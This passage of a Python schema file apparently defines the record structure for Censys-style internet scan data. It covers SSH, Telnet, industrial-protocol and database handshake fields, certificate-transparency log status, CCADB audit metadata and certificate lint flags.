\"server_to_client\":SubRecord({\n \"ciphers\": zgrab2_ssh.CipherAlgorithms(),\n \"macs\": zgrab2_ssh.MACAlgorithms(),\n \"compressions\": zgrab2_ssh.CompressionAlgorithms(),\n \"languages\": zgrab2_ssh.LanguageTags(),\n }),\n }),\n # This is a massaged version of zgrab2_ssh.AlgorithmSelection\n \"selected\": SubRecord({\n \"kex_algorithm\": zgrab2_ssh.KexAlgorithm(),\n \"host_key_algorithm\": zgrab2_ssh.KeyAlgorithm(),\n \"client_to_server\": zgrab2_ssh.DirectionAlgorithms(),\n \"server_to_client\": zgrab2_ssh.DirectionAlgorithms(),\n }),\n \"key_exchange\": zgrab2_ssh.KeyExchange(),\n # This is a massaged version of zgrab2_ssh.SSHPublicKeyCert\n \"server_host_key\": SubRecord({\n \"key_algorithm\": zgrab2_ssh.KeyAlgorithm(),\n \"fingerprint_sha256\": HexString(),\n \"rsa_public_key\": zcrypto.RSAPublicKey(),\n \"dsa_public_key\": zcrypto.DSAPublicKey(),\n \"ecdsa_public_key\": zcrypto.ECDSAPublicKey(),\n \"ed25519_public_key\": zgrab2_ssh.ED25519PublicKey(),\n \"certkey_public_key\": SubRecord({\n # \"nonce\" is an IndexedBinary here, not a Binary()\n \"nonce\": IndexedBinary(),\n # This is an SSHPublicKey (\"algorithm\", not \"key_algorithm\")\n \"key\": zgrab2_ssh.SSHPublicKey(),\n \"serial\": String(),\n # \"cert_type\" is renamed to \"type\"\n \"type\": ssh_certkey_public_key_type,\n \"key_id\": String(),\n \"valid_principals\": ListOf(String()),\n \"validity\": SubRecord({\n # These are DateTimes in SSHPublicKeyCert\n \"valid_after\": Timestamp(doc=\"Timestamp of when certificate is first valid. Timezone is UTC.\"),\n \"valid_before\": Timestamp(doc=\"Timestamp of when certificate expires. Timezone is UTC.\"),\n \"length\": Signed64BitInteger(),\n }),\n \"reserved\": Binary(),\n \"signature_key\": SubRecord({\n \"key_algorithm\": zgrab2_ssh.KeyAlgorithm(),\n \"fingerprint_sha256\": HexString(),\n \"rsa_public_key\": zcrypto.RSAPublicKey(),\n \"dsa_public_key\": zcrypto.DSAPublicKey(),\n \"ecdsa_public_key\": zcrypto.ECDSAPublicKey(),\n \"ed25519_public_key\": zgrab2_ssh.ED25519PublicKey(),\n }),\n \"signature\": SubRecord({\n \"signature_algorithm\": SubRecord({\n \"name\": zgrab2_ssh.KeyAlgorithm(),\n }),\n \"value\": Binary(),\n }),\n \"parse_error\": String(),\n # Flattens known/unknown\n \"extensions\":SubRecord({\n \"permit_X11_forwarding\": Boolean(),\n \"permit_agent_forwarding\": Boolean(),\n \"permit_port_forwarding\": Boolean(),\n \"permit_pty\": Boolean(),\n \"permit_user_rc\": Boolean(),\n \"unknown\": ListOf(String()),\n }),\n # Flattens known/unknown\n \"critical_options\": SubRecord({\n \"force_command\": Boolean(),\n \"source_address\": Boolean(),\n \"unknown\": ListOf(String()),\n }),\n }),\n }),\n})\n\nztag_ftp = SubRecord({\n \"banner\":WhitespaceAnalyzedString(),\n \"metadata\":local_metadata,\n \"timestamp\":Timestamp(),\n})\n\ntelnet_caps_list = ListOf(SubRecord({\n \"name\":String(),\n \"value\":Unsigned32BitInteger()\n}))\n\nztag_telnet = SubRecord({\n \"support\":Boolean(),\n \"banner\":WhitespaceAnalyzedString(),\n \"will\":telnet_caps_list,\n \"wont\":telnet_caps_list,\n \"do\":telnet_caps_list,\n \"dont\":telnet_caps_list,\n \"metadata\":local_metadata,\n \"timestamp\":Timestamp(),\n})\n\nztag_modbus = SubRecord({\n \"support\":Boolean(),\n \"function_code\":Unsigned16BitInteger(),\n \"mei_response\":SubRecord({\n \"conformity_level\":Signed32BitInteger(),\n \"objects\":SubRecord({\n \"vendor\":WhitespaceAnalyzedString(),\n \"product_code\":WhitespaceAnalyzedString(),\n \"revision\":WhitespaceAnalyzedString(),\n \"vendor_url\":URL(),\n \"product_name\":WhitespaceAnalyzedString(),\n \"model_name\":WhitespaceAnalyzedString(),\n \"user_application_name\":WhitespaceAnalyzedString(),\n })\n }),\n \"metadata\":local_metadata,\n \"timestamp\":Timestamp(),\n})\n\nztag_bacnet = SubRecord({\n \"support\":Boolean(),\n \"instance_number\": Signed32BitInteger(),\n \"vendor\": SubRecord({\n \"id\": Signed32BitInteger(),\n \"reported_name\":WhitespaceAnalyzedString(),\n \"official_name\":WhitespaceAnalyzedString(),\n }),\n \"firmware_revision\": String(),\n \"application_software_revision\":String(),\n \"object_name\":WhitespaceAnalyzedString(),\n \"model_name\":WhitespaceAnalyzedString(),\n \"description\":WhitespaceAnalyzedString(),\n \"location\":WhitespaceAnalyzedString(),\n \"metadata\":local_metadata,\n \"timestamp\":Timestamp(),\n})\n\nztag_dns_question = SubRecord({\n \"name\":String(),\n \"type\":String()\n})\n\n\nztag_dns_answer = SubRecord({\n \"name\":String(),\n \"response\":WhitespaceAnalyzedString(),\n \"type\":String()\n})\n\nztag_dns_lookup = SubRecord({\n \"support\":Boolean(),\n \"errors\":Boolean(),\n \"open_resolver\":Boolean(),\n \"resolves_correctly\":Boolean(),\n \"answers\":ListOf(ztag_dns_answer),\n \"authorities\":ListOf(ztag_dns_answer),\n \"additionals\":ListOf(ztag_dns_answer),\n \"questions\":ListOf(ztag_dns_question),\n \"metadata\":local_metadata,\n \"timestamp\":Timestamp(),\n})\n\nztag_tls_support = SubRecord({\n \"support\": Boolean(),\n \"metadata\":local_metadata,\n \"timestamp\":Timestamp(),\n})\n\nztag_fox = SubRecord({\n \"support\":Boolean(),\n \"version\":WhitespaceAnalyzedString(),\n \"id\":Signed32BitInteger(),\n \"hostname\":WhitespaceAnalyzedString(),\n \"host_address\":WhitespaceAnalyzedString(),\n \"app_name\":WhitespaceAnalyzedString(),\n \"app_version\":WhitespaceAnalyzedString(),\n \"vm_name\":WhitespaceAnalyzedString(),\n \"vm_version\":WhitespaceAnalyzedString(),\n \"os_name\":WhitespaceAnalyzedString(),\n \"os_version\":WhitespaceAnalyzedString(),\n \"station_name\":WhitespaceAnalyzedString(),\n \"language\":WhitespaceAnalyzedString(),\n \"time_zone\":WhitespaceAnalyzedString(),\n \"host_id\":WhitespaceAnalyzedString(),\n \"vm_uuid\":WhitespaceAnalyzedString(),\n \"brand_id\":WhitespaceAnalyzedString(),\n \"sys_info\":WhitespaceAnalyzedString(),\n \"auth_agent_type\":String(),\n \"metadata\":local_metadata,\n \"timestamp\":Timestamp(),\n})\n\nztag_dnp3 = SubRecord({\n \"support\":Boolean(),\n \"raw_response\":Binary(),\n \"metadata\":local_metadata,\n \"timestamp\":Timestamp(),\n})\n\nztag_s7 = SubRecord({\n \"support\":Boolean(),\n \"system\":WhitespaceAnalyzedString(),\n \"module\":WhitespaceAnalyzedString(),\n \"plant_id\":WhitespaceAnalyzedString(),\n \"copyright\":WhitespaceAnalyzedString(),\n \"serial_number\":WhitespaceAnalyzedString(),\n \"reserved_for_os\":WhitespaceAnalyzedString(),\n \"module_type\":WhitespaceAnalyzedString(),\n \"memory_serial_number\":WhitespaceAnalyzedString(),\n \"cpu_profile\":WhitespaceAnalyzedString(),\n \"oem_id\":WhitespaceAnalyzedString(),\n \"location\":WhitespaceAnalyzedString(),\n \"module_id\":WhitespaceAnalyzedString(),\n \"hardware\":WhitespaceAnalyzedString(),\n \"firmware\":WhitespaceAnalyzedString(),\n \"metadata\":local_metadata,\n \"timestamp\":Timestamp(),\n})\n\nztag_smb = SubRecord({\n \"smbv1_support\":Boolean(),\n \"metadata\":local_metadata,\n})\n\nztag_upnp_discovery = SubRecord({\n \"usn\": WhitespaceAnalyzedString(),\n \"agent\": WhitespaceAnalyzedString(),\n \"st\": WhitespaceAnalyzedString(),\n \"ext\": WhitespaceAnalyzedString(),\n \"location\": WhitespaceAnalyzedString(),\n \"server\": WhitespaceAnalyzedString(),\n \"cache_control\": WhitespaceAnalyzedString(),\n \"x_user_agent\": WhitespaceAnalyzedString(),\n \"metadata\": local_metadata,\n})\n\n# Add the common zgrab2 fields to the results schema which are added by\n# ZGrab2Transform._transform_object().\ndef ztag_zgrab2_transformed(service, results):\n results[\"supported\"] = Boolean(doc=\"If true, %s was detected on this machine.\" % service)\n results[\"metadata\"] = local_metadata\n return results\n\n# The oracle ztag transform is a plain copy of the \"handshake\" field.\nztag_oracle = ztag_zgrab2_transformed(service=\"Oracle\", results=zgrab2_oracle.oracle_scan_response[\"result\"][\"handshake\"])\n\nztag_oracle[\"tls\"] = ztag_tls_type(doc=\"The TLS handshake with the server (if applicable).\")\n\nztag_mssql = ztag_zgrab2_transformed(service=\"MSSQL\", results=SubRecord({\n \"version\": WhitespaceAnalyzedString(doc=\"The MSSQL version returned by the server in \"\n \"the PRELOGIN response. Its format is \"\n \"'MAJOR.MINOR.BUILD_NUMBER'.\"),\n \"instance_name\": WhitespaceAnalyzedString(doc=\"The value of the INSTANCE field \"\n \"returned by the server in the PRELOGIN \"\n \"response.\"),\n \"encrypt_mode\": Enum(values=zgrab2_mssql.ENCRYPT_MODES,\n doc=\"The negotiated encryption mode for the session. \"\n \"See https://msdn.microsoft.com/en-us/library/dd357559.aspx \"\n \"for details.\"),\n \"tls\": ztag_tls_type(doc=\"The TLS handshake with the server (for \"\n \"non-encrypted connections, this used only \"\n \"for the authentication phase).\")\n}))\n\nztag_mysql = ztag_zgrab2_transformed(service=\"MySQL\", results=SubRecord({\n \"protocol_version\": zgrab2.mysql.mysql_scan_response[\"result\"][\"protocol_version\"],\n \"server_version\": zgrab2.mysql.mysql_scan_response[\"result\"][\"server_version\"],\n \"capability_flags\": zgrab2.mysql.mysql_capability_flags,\n \"status_flags\": zgrab2.mysql.mysql_server_status_flags,\n \"error_code\": zgrab2.mysql.mysql_scan_response[\"result\"][\"error_code\"],\n \"error_id\": zgrab2.mysql.mysql_scan_response[\"result\"][\"error_id\"],\n \"error_message\": zgrab2.mysql.mysql_scan_response[\"result\"][\"error_message\"],\n \"tls\": ztag_tls_type(doc=\"If the server allows upgrading the \"\n \"session to use TLS, this is the log of \"\n \"the handshake.\")\n}))\n\nztag_mongodb = ztag_zgrab2_transformed(service=\"MongoDB\", results=SubRecord({\n \"build_info\": SubRecord({\n \"version\": WhitespaceAnalyzedString(doc=\"Version of mongodb server\"),\n \"git_version\": WhitespaceAnalyzedString(doc=\"Git Version of mongodb server\"),\n \"max_wire_version\": Signed32BitInteger(),\n \"build_environment\": SubRecord({\n \"dist_mod\": WhitespaceAnalyzedString(),\n \"dist_arch\": WhitespaceAnalyzedString(),\n \"cc\": WhitespaceAnalyzedString(),\n \"cc_flags\": WhitespaceAnalyzedString(),\n \"cxx\": WhitespaceAnalyzedString(),\n \"cxx_flags\": WhitespaceAnalyzedString(),\n \"link_flags\": WhitespaceAnalyzedString(),\n \"target_arch\": WhitespaceAnalyzedString(),\n \"target_os\": WhitespaceAnalyzedString()\n })\n }, doc=\"Result of issuing the buildInfo command see https://docs.mongodb.com/manual/reference/command/buildInfo\"),\n \"is_master\": SubRecord({\n \"is_master\": Boolean(),\n \"max_wire_version\": Signed32BitInteger(),\n \"min_wire_version\": Signed32BitInteger(),\n \"max_bson_object_size\": Signed32BitInteger(),\n \"max_write_batch_size\": Signed32BitInteger(),\n \"logical_session_timeout_minutes\": Signed32BitInteger(),\n \"max_message_size_bytes\": Signed32BitInteger(),\n \"read_only\": Boolean()\n }, doc=\"Result of issuing the isMaster command see https://docs.mongodb.com/manual/reference/command/isMaster\")\n}))\n\nztag_postgres = ztag_zgrab2_transformed(service=\"PostgreSQL\", results=SubRecord({\n \"supported_versions\": WhitespaceAnalyzedString(doc=\"The error string returned by the \"\n \"server in response to a \"\n \"StartupMessage with \"\n \"ProtocolVersion = 0.0\"),\n \"protocol_error\": zgrab2.postgres.postgres_error,\n \"startup_error\": zgrab2.postgres.postgres_error,\n \"is_ssl\": Boolean(doc=\"If the server supports TLS and the session was \"\n \"updated to use TLS, this is true.\"),\n \"authentication_mode\": zgrab2.postgres.postgres_auth_mode[\"mode\"],\n \"backend_key_data\": zgrab2.postgres.postgres_key_data,\n \"tls\": ztag_tls_type(doc=\"If the server allows upgrading the \"\n \"session to use TLS, this is the log of \"\n \"the handshake.\")\n}))\n\nztag_ipp = ztag_zgrab2_transformed(service=\"IPP\", results=SubRecord({\n \"version_major\": zgrab2.ipp.ipp_scan_response[\"result\"][\"version_major\"],\n \"version_minor\": zgrab2.ipp.ipp_scan_response[\"result\"][\"version_minor\"],\n \"version_string\": zgrab2.ipp.ipp_scan_response[\"result\"][\"version_string\"],\n \"cups_version\": zgrab2.ipp.ipp_scan_response[\"result\"][\"cups_version\"],\n \"attributes\": zgrab2.ipp.ipp_scan_response[\"result\"][\"attributes\"],\n \"attr_ipp_versions\": zgrab2.ipp.ipp_scan_response[\"result\"][\"attr_ipp_versions\"],\n \"attr_cups_version\": zgrab2.ipp.ipp_scan_response[\"result\"][\"attr_cups_version\"],\n \"attr_printer_uris\": zgrab2.ipp.ipp_scan_response[\"result\"][\"attr_printer_uris\"],\n \"tls\": ztag_tls_type(doc=\"If the server allows upgrading the \"\n \"session to use TLS, this is the log of \"\n \"the handshake.\"),\n}))\n\nztag_schemas = [\n (\"ztag_https\", ztag_tls),\n (\"ztag_heartbleed\", ztag_heartbleed),\n (\"ztag_smtp_starttls\", ztag_smtp_starttls),\n (\"ztag_imap_starttls\", ztag_mail_starttls),\n (\"ztag_pop3_starttls\", ztag_mail_starttls),\n (\"ztag_imap_tls\", ztag_mail_tls),\n (\"ztag_pop3_tls\", ztag_mail_tls),\n (\"ztag_http\", ztag_http),\n (\"ztag_ftp\", ztag_ftp),\n (\"ztag_dh\", ztag_dh),\n (\"ztag_dh_export\", ztag_dh_export),\n (\"ztag_rsa_export\", ztag_rsa_export),\n (\"ztag_ecdh\", ztag_ecdh),\n (\"ztag_sslv3\", ztag_tls_support),\n (\"ztag_tls1\", ztag_tls_support),\n (\"ztag_tls2\", ztag_tls_support),\n (\"ztag_tls3\", ztag_tls_support),\n (\"ztag_modbus\", ztag_modbus),\n (\"ztag_ssh_v2\", ztag_ssh_v2),\n (\"ztag_dns_lookup\", ztag_dns_lookup),\n (\"ztag_bacnet\", ztag_bacnet),\n (\"ztag_fox\", ztag_fox),\n (\"ztag_dnp3\", ztag_dnp3),\n (\"ztag_s7\", ztag_s7),\n (\"ztag_smb\", ztag_smb),\n (\"ztag_upnp_discovery\", ztag_upnp_discovery),\n (\"ztag_oracle\", ztag_oracle),\n (\"ztag_mssql\", ztag_mssql),\n (\"ztag_ipp\", ztag_ipp),\n (\"ztag_mongodb\", ztag_mongodb),\n]\nfor (name, schema) in ztag_schemas:\n x = Record({\n \"ip_address\":IPAddress(required=True),\n #\"timestamp\":Timestamp(required=True),\n \"tags\":ListOf(String()),\n \"metadata\": SubRecord({}, allow_unknown=True),\n }, extends=schema)\n zschema.registry.register_schema(\"%s\" % name, x)\n\n\nztag_lookup_spf = SubRecord({\n \"raw\":WhitespaceAnalyzedString(),\n})\n\nztag_lookup_dmarc = SubRecord({\n \"raw\":WhitespaceAnalyzedString(),\n \"p\":String(),\n})\n\nztag_lookup_axfr = SubRecord({\n \"servers\":ListOf(SubRecord({\n \"server\":String(),\n \"status\":String(),\n \"name\":FQDN(),\n \"support\":Boolean(),\n \"error\":WhitespaceAnalyzedString(),\n \"records\":ListOf(SubRecord({\n \"algorithm\":Unsigned16BitInteger(),\n \"answer\":String(),\n \"class\":String(),\n \"data\":WhitespaceAnalyzedString(),\n \"digest\":WhitespaceAnalyzedString(),\n \"digest_type\":Unsigned16BitInteger(),\n \"expire\":Unsigned32BitInteger(),\n \"flag\":Unsigned16BitInteger(),\n \"flags\":Unsigned16BitInteger(),\n \"key_tag\":Unsigned16BitInteger(),\n \"mbox\":FQDN(),\n \"min_ttl\":Unsigned32BitInteger(),\n \"name\":FQDN(),\n \"ns\":FQDN(),\n \"preference\":Signed16BitInteger(),\n \"protocol\":Unsigned16BitInteger(),\n \"public_key\":String(),\n \"refresh\":Signed32BitInteger(),\n \"retry\":Signed32BitInteger(),\n \"serial\":Unsigned32BitInteger(),\n \"tag\":String(),\n \"type\":String(),\n \"ttl\":Unsigned32BitInteger(),\n # FIXME 2018/10/15: Conflict with auto-detected version in Elasticsearch (auto type\n # FIXME 2018/10/15: is text, new type is keyword)\n \"value\": String(exclude={\"elasticsearch\"}),\n })),\n })),\n \"truncated\":Boolean(),\n \"support\":Boolean()\n})\n\n_zdb_location_fields = {\n \"continent\":String(),\n \"country\":WhitespaceAnalyzedString(),\n \"country_code\":String(),\n \"city\":WhitespaceAnalyzedString(),\n \"postal_code\":String(),\n \"timezone\":WhitespaceAnalyzedString(),\n \"province\":WhitespaceAnalyzedString(),\n \"latitude\":Double(),\n \"longitude\":Double(),\n \"registered_country\":WhitespaceAnalyzedString(),\n \"registered_country_code\":String(),\n}\n\nzdb_location = SubRecord(_zdb_location_fields, category=\"Location\")\nzdb_restricted_location = SubRecord(_zdb_location_fields, exclude=[\"bigquery\",])\n\nzdb_as = SubRecord({\n \"asn\":Unsigned32BitInteger(),\n \"description\":WhitespaceAnalyzedString(),\n \"path\":ListOf(Unsigned32BitInteger()),\n \"rir\":String(),\n \"routed_prefix\":FQDN(),\n \"name\":WhitespaceAnalyzedString(),\n \"country_code\":String(),\n \"organization\":WhitespaceAnalyzedString(),\n})\n\n\n__metadata = {}\nfor key in Annotation.GLOBAL_METADATA_KEYS:\n __metadata[key] = WhitespaceAnalyzedString()\nzdb_metadata = SubRecord(__metadata)\n\nCTServerStatus = SubRecord({\n \"index\":Signed64BitInteger(),\n \"added_to_ct_at\":Timestamp(),\n \"ct_to_censys_at\":Timestamp(),\n \"censys_to_ct_at\":Timestamp(),\n \"sct\":IndexedBinary(),\n})\n\n\nCTStatus = SubRecord({\n \"google_aviator\":CTServerStatus,\n \"google_pilot\":CTServerStatus,\n \"google_rocketeer\":CTServerStatus,\n \"google_submariner\":CTServerStatus,\n \"google_testtube\":CTServerStatus,\n \"google_icarus\":CTServerStatus,\n \"google_skydiver\":CTServerStatus,\n \"google_daedalus\":CTServerStatus,\n \"digicert_ct1\":CTServerStatus,\n \"izenpe_com_ct\":CTServerStatus,\n \"izenpe_eus_ct\":CTServerStatus,\n \"symantec_ws_ct\":CTServerStatus,\n \"symantec_ws_vega\":CTServerStatus,\n \"wosign_ctlog\":CTServerStatus,\n \"wosign_ct\":CTServerStatus,\n \"cnnic_ctserver\":CTServerStatus,\n \"gdca_ct\":CTServerStatus,\n \"startssl_ct\":CTServerStatus,\n \"certly_log\":CTServerStatus,\n \"venafi_api_ctlog\":CTServerStatus,\n \"symantec_ws_deneb\":CTServerStatus,\n \"nordu_ct_plausible\":CTServerStatus,\n \"comodo_dodo\":CTServerStatus,\n \"comodo_mammoth\":CTServerStatus,\n \"gdca_ctlog\":CTServerStatus,\n \"symantec_ws_sirius\":CTServerStatus,\n \"certificatetransparency_cn_ct\":CTServerStatus,\n \"venafi_api_ctlog_gen2\":CTServerStatus,\n \"digicert_ct2\":CTServerStatus,\n \"comodo_sabre\":CTServerStatus,\n \"sheca_ct\":CTServerStatus,\n \"letsencrypt_ct_clicky\":CTServerStatus,\n \"behind_the_sofa\":CTServerStatus,\n \"gdca_log\":CTServerStatus,\n \"gdca_log2\":CTServerStatus,\n \"wotrus_ctlog\":CTServerStatus,\n \"wotrus_ctlog3\":CTServerStatus,\n \"akamai_ct\":CTServerStatus,\n \"google_argon_2017\":CTServerStatus,\n \"google_argon_2018\":CTServerStatus,\n \"google_argon_2019\":CTServerStatus,\n \"google_argon_2020\":CTServerStatus,\n \"google_argon_2021\":CTServerStatus,\n \"google_xenon_2018\":CTServerStatus,\n \"google_xenon_2019\":CTServerStatus,\n \"google_xenon_2020\":CTServerStatus,\n \"google_xenon_2021\":CTServerStatus,\n \"google_xenon_2022\":CTServerStatus,\n \"cloudflare_nimbus_2017\":CTServerStatus,\n \"cloudflare_nimbus_2018\":CTServerStatus,\n \"cloudflare_nimbus_2019\":CTServerStatus,\n \"cloudflare_nimbus_2020\":CTServerStatus,\n \"cloudflare_nimbus_2021\":CTServerStatus,\n \"digicert_nessie_2018\":CTServerStatus,\n \"digicert_nessie_2019\":CTServerStatus,\n \"digicert_nessie_2020\":CTServerStatus,\n \"digicert_nessie_2021\":CTServerStatus,\n \"digicert_nessie_2022\":CTServerStatus,\n \"digicert_yeti_2018\":CTServerStatus,\n \"digicert_yeti_2019\":CTServerStatus,\n \"digicert_yeti_2020\":CTServerStatus,\n \"digicert_yeti_2021\":CTServerStatus,\n \"digicert_yeti_2022\":CTServerStatus,\n \"digicert_golem\":CTServerStatus,\n \"izenpe_com_pilot\":CTServerStatus,\n \"letsencrypt_ct_birch\":CTServerStatus,\n \"letsencrypt_ct_faux\":CTServerStatus,\n \"letsencrypt_ct_oak\":CTServerStatus,\n \"nordu_ct_flimsy\":CTServerStatus,\n \"sheca_ctlog\":CTServerStatus,\n \"wosign_ctlog2\":CTServerStatus,\n \"wosign_ctlog3\":CTServerStatus,\n \"ctlogs_alpha\":CTServerStatus,\n})\n\n\nCertificateAudit = SubRecord({\n \"ccadb\":SubRecord({\n \"current_in_intermediates\":Boolean(),\n \"was_in_intermediates\":Boolean(),\n \"owner_name\":WhitespaceAnalyzedString(),\n \"parent_name\":WhitespaceAnalyzedString(),\n \"certificate_name\":WhitespaceAnalyzedString(),\n \"certificate_policy\":WhitespaceAnalyzedString(),\n \"certification_practice_statement\":WhitespaceAnalyzedString(),\n \"cp_same_as_parent\":Boolean(),\n \"audit_same_as_parent\":Boolean(),\n \"standard_audit\":WhitespaceAnalyzedString(),\n \"br_audit\":WhitespaceAnalyzedString(),\n \"auditor\":WhitespaceAnalyzedString(),\n \"standard_audit_statement_timestamp\":Timestamp(),\n \"management_assertions_by\":WhitespaceAnalyzedString(),\n \"comments\":EnglishString(es_include_raw=True),\n \"ev_policy_oids\":WhitespaceAnalyzedString(),\n \"approval_bug\":WhitespaceAnalyzedString(),\n \"first_nss_release\":WhitespaceAnalyzedString(),\n \"first_firefox_release\":WhitespaceAnalyzedString(),\n \"ev_audit\":WhitespaceAnalyzedString(),\n \"current_in_roots\":Boolean(),\n \"was_in_roots\":Boolean(),\n \"test_website_valid\":WhitespaceAnalyzedString(),\n \"mozilla_applied_constraints\":WhitespaceAnalyzedString(),\n \"company_website\":WhitespaceAnalyzedString(),\n \"geographic_focus\":WhitespaceAnalyzedString(),\n \"standard_audit_type\":WhitespaceAnalyzedString(),\n }, category=\"CCADB Audit\")\n})\n\nztag_certificate_validation = SubRecord({\n \"valid\":Boolean(doc=\"((has_trusted_path && !revoked && !blacklisted) || whitelisted) && !expired\"),\n \"was_valid\":Boolean(doc=\"True if the certificate is valid now or was ever valid in the past.\"),\n \"trusted_path\":Boolean(doc=\"True if there exists a path from the certificate to the root store.\"),\n \"had_trusted_path\":Boolean(doc=\"True if now or at some point in the past there existed a path \"\n \"from the certificate to the root store.\"),\n \"blacklisted\":Boolean(doc=\"True if the certificate is explicitly blacklisted by some method than OneCRL/CRLSet. \"\n \"For example, a set of certificates revoked by Cloudflare are blacklisted by SPKI hash in Chrome.\"),\n \"whitelisted\":Boolean(doc=\"True if the certificate is explicitly whitelisted, \"\n \"e.g. the set of trusted WoSign certificates Apple uses.\"),\n \"type\":Enum([\"leaf\",\"intermediate\",\"root\",\"unknown\"], doc=\"Indicates if the certificate is a root, intermediate, or leaf.\"),\n \"paths\":NestedListOf(HexString(), \"path\", validation_policy=\"ignore\"),\n \"in_revocation_set\":Boolean(doc=\"True if the certificate is in the revocation set (e.g. OneCRL) associated with this root store.\"),\n \"parents\":ListOf(HexString()),\n})\n\nclass LintBool(String):\n\n ES_TYPE = \"boolean\"\n\n# Lints can have any of the following outputs:\n# - RESERVED [should never happen]\n# - NA [not applicable]\n# - NE [not applicable]\n# - PASS [test success]\n# - INFO [failed for info]\n# - WARN [failed for warn]\n# - FAIL [failed for error]\n# - FATAL [test could not complete because cert is broken]\n# - UNKNOWN [should never occur]\n# We don't want to store a string for every lint in elasticsearch because\n# our index size would explode. Instead we map these to a string:\n# {\n# (reserved, unknown, ne, na, pass) -> null,\n# (notice, warning, fail, fatal) -> true\n# }\n# For BigQuery, we have more options, so we allow some more information:\n# {\n# all map to original value\n# }\n# This is horrible to schema, so define a custom type\nLints = SubRecord({\n \"e_basic_constraints_not_critical\":LintBool(),\n \"e_ca_common_name_missing\":LintBool(),\n \"e_ca_country_name_invalid\":LintBool(),\n \"e_ca_country_name_missing\":LintBool(),\n \"e_ca_crl_sign_not_set\":LintBool(),\n \"e_ca_is_ca\":LintBool(),\n \"e_ca_key_cert_sign_not_set\":LintBool(),\n \"e_ca_key_usage_missing\":LintBool(),\n \"e_ca_key_usage_not_critical\":LintBool(),\n \"e_ca_organization_name_missing\":LintBool(),\n \"e_ca_subject_field_empty\":LintBool(),\n \"e_cab_dv_conflicts_with_locality\":LintBool(),\n \"e_cab_dv_conflicts_with_org\":LintBool(),\n \"e_cab_dv_conflicts_with_postal\":LintBool(),\n \"e_cab_dv_conflicts_with_province\":LintBool(),\n \"e_cab_dv_conflicts_with_street\":LintBool(),\n \"e_cab_iv_requires_personal_name\":LintBool(),\n \"e_cab_ov_requires_org\":LintBool(),\n \"e_cert_contains_unique_identifier\":LintBool(),\n \"e_cert_extensions_version_not_3\":LintBool(),\n \"e_cert_policy_iv_requires_country\":LintBool(),\n \"e_cert_policy_iv_requires_province_or_locality\":LintBool(),\n \"e_cert_policy_ov_requires_country\":LintBool(),\n \"e_cert_policy_ov_requires_province_or_locality\":LintBool(),\n \"e_cert_unique_identifier_version_not_2_or_3\":LintBool(),\n \"e_distribution_point_incomplete\":LintBool(),\n \"e_dnsname_bad_character_in_label\":LintBool(),\n \"e_dnsname_contains_bare_iana_suffix\":LintBool(),\n \"e_dnsname_empty_label\":LintBool(),\n \"e_dnsname_hyphen_in_sld\":LintBool(),\n \"e_dnsname_label_too_long\":LintBool(),\n \"e_dnsname_left_label_wildcard_correct\":LintBool(),\n \"e_dnsname_not_valid_tld\":LintBool(),\n \"e_dnsname_underscore_in_sld\":LintBool(),\n \"e_dnsname_wildcard_only_in_left_label\":LintBool(),\n \"e_dsa_correct_order_in_subgroup\":LintBool(),\n \"e_dsa_improper_modulus_or_divisor_size\":LintBool(),\n \"e_dsa_params_missing\":LintBool(),\n \"e_dsa_shorter_than_2048_bits\":LintBool(),\n \"e_dsa_unique_correct_representation\":LintBool(),\n \"e_ec_improper_curves\":LintBool(),\n \"e_ev_business_category_missing\":LintBool(),\n \"e_ev_country_name_missing\":LintBool(),\n \"e_ev_locality_name_missing\":LintBool(),\n \"e_ev_organization_name_missing\":LintBool(),\n \"e_ev_serial_number_missing\":LintBool(),\n \"e_ev_valid_time_too_long\":LintBool(),\n \"e_ext_aia_marked_critical\":LintBool(),\n \"e_ext_authority_key_identifier_critical\":LintBool(),\n \"e_ext_authority_key_identifier_missing\":LintBool(),\n \"e_ext_authority_key_identifier_no_key_identifier\":LintBool(),\n \"e_ext_cert_policy_disallowed_any_policy_qualifier\":LintBool(),\n \"e_ext_cert_policy_duplicate\":LintBool(),\n \"e_ext_cert_policy_explicit_text_ia5_string\":LintBool(),\n \"e_ext_cert_policy_explicit_text_too_long\":LintBool(),\n \"e_ext_duplicate_extension\":LintBool(),\n \"e_ext_freshest_crl_marked_critical\":LintBool(),\n \"e_ext_ian_dns_not_ia5_string\":LintBool(),\n \"e_ext_ian_empty_name\":LintBool(),\n \"e_ext_ian_no_entries\":LintBool(),\n \"e_ext_ian_rfc822_format_invalid\":LintBool(),\n \"e_ext_ian_space_dns_name\":LintBool(),\n \"e_ext_ian_uri_format_invalid\":LintBool(),\n \"e_ext_ian_uri_host_not_fqdn_or_ip\":LintBool(),\n \"e_ext_ian_uri_not_ia5\":LintBool(),\n \"e_ext_ian_uri_relative\":LintBool(),\n \"e_ext_key_usage_cert_sign_without_ca\":LintBool(),\n \"e_ext_key_usage_without_bits\":LintBool(),\n \"e_ext_name_constraints_not_critical\":LintBool(),\n \"e_ext_name_constraints_not_in_ca\":LintBool(),\n \"e_ext_policy_constraints_empty\":LintBool(),\n \"e_ext_policy_constraints_not_critical\":LintBool(),\n \"e_ext_policy_map_any_policy\":LintBool(),\n \"e_ext_san_contains_reserved_ip\":LintBool(),\n \"e_ext_san_directory_name_present\":LintBool(),\n \"e_ext_san_dns_name_too_long\":LintBool(),\n \"e_ext_san_dns_not_ia5_string\":LintBool(),\n \"e_ext_san_edi_party_name_present\":LintBool(),\n \"e_ext_san_empty_name\":LintBool(),\n \"e_ext_san_missing\":LintBool(),\n \"e_ext_san_no_entries\":LintBool(),\n \"e_ext_san_not_critical_without_subject\":LintBool(),\n \"e_ext_san_other_name_present\":LintBool(),\n \"e_ext_san_registered_id_present\":LintBool(),\n \"e_ext_san_rfc822_format_invalid\":LintBool(),\n \"e_ext_san_rfc822_name_present\":LintBool(),\n \"e_ext_san_space_dns_name\":LintBool(),\n \"e_ext_san_uniform_resource_identifier_present\":LintBool(),\n \"e_ext_san_uri_format_invalid\":LintBool(),\n \"e_ext_san_uri_host_not_fqdn_or_ip\":LintBool(),\n \"e_ext_san_uri_not_ia5\":LintBool(),\n \"e_ext_san_uri_relative\":LintBool(),\n \"e_ext_subject_directory_attr_critical\":LintBool(),\n \"e_ext_subject_key_identifier_critical\":LintBool(),\n \"e_ext_subject_key_identifier_missing_ca\":LintBool(),\n \"e_generalized_time_does_not_include_seconds\":LintBool(),\n \"e_generalized_time_includes_fraction_seconds\":LintBool(),\n \"e_generalized_time_not_in_zulu\":LintBool(),\n \"e_ian_bare_wildcard\":LintBool(),\n \"e_ian_dns_name_includes_null_char\":LintBool(),\n \"e_ian_dns_name_starts_with_period\":LintBool(),\n 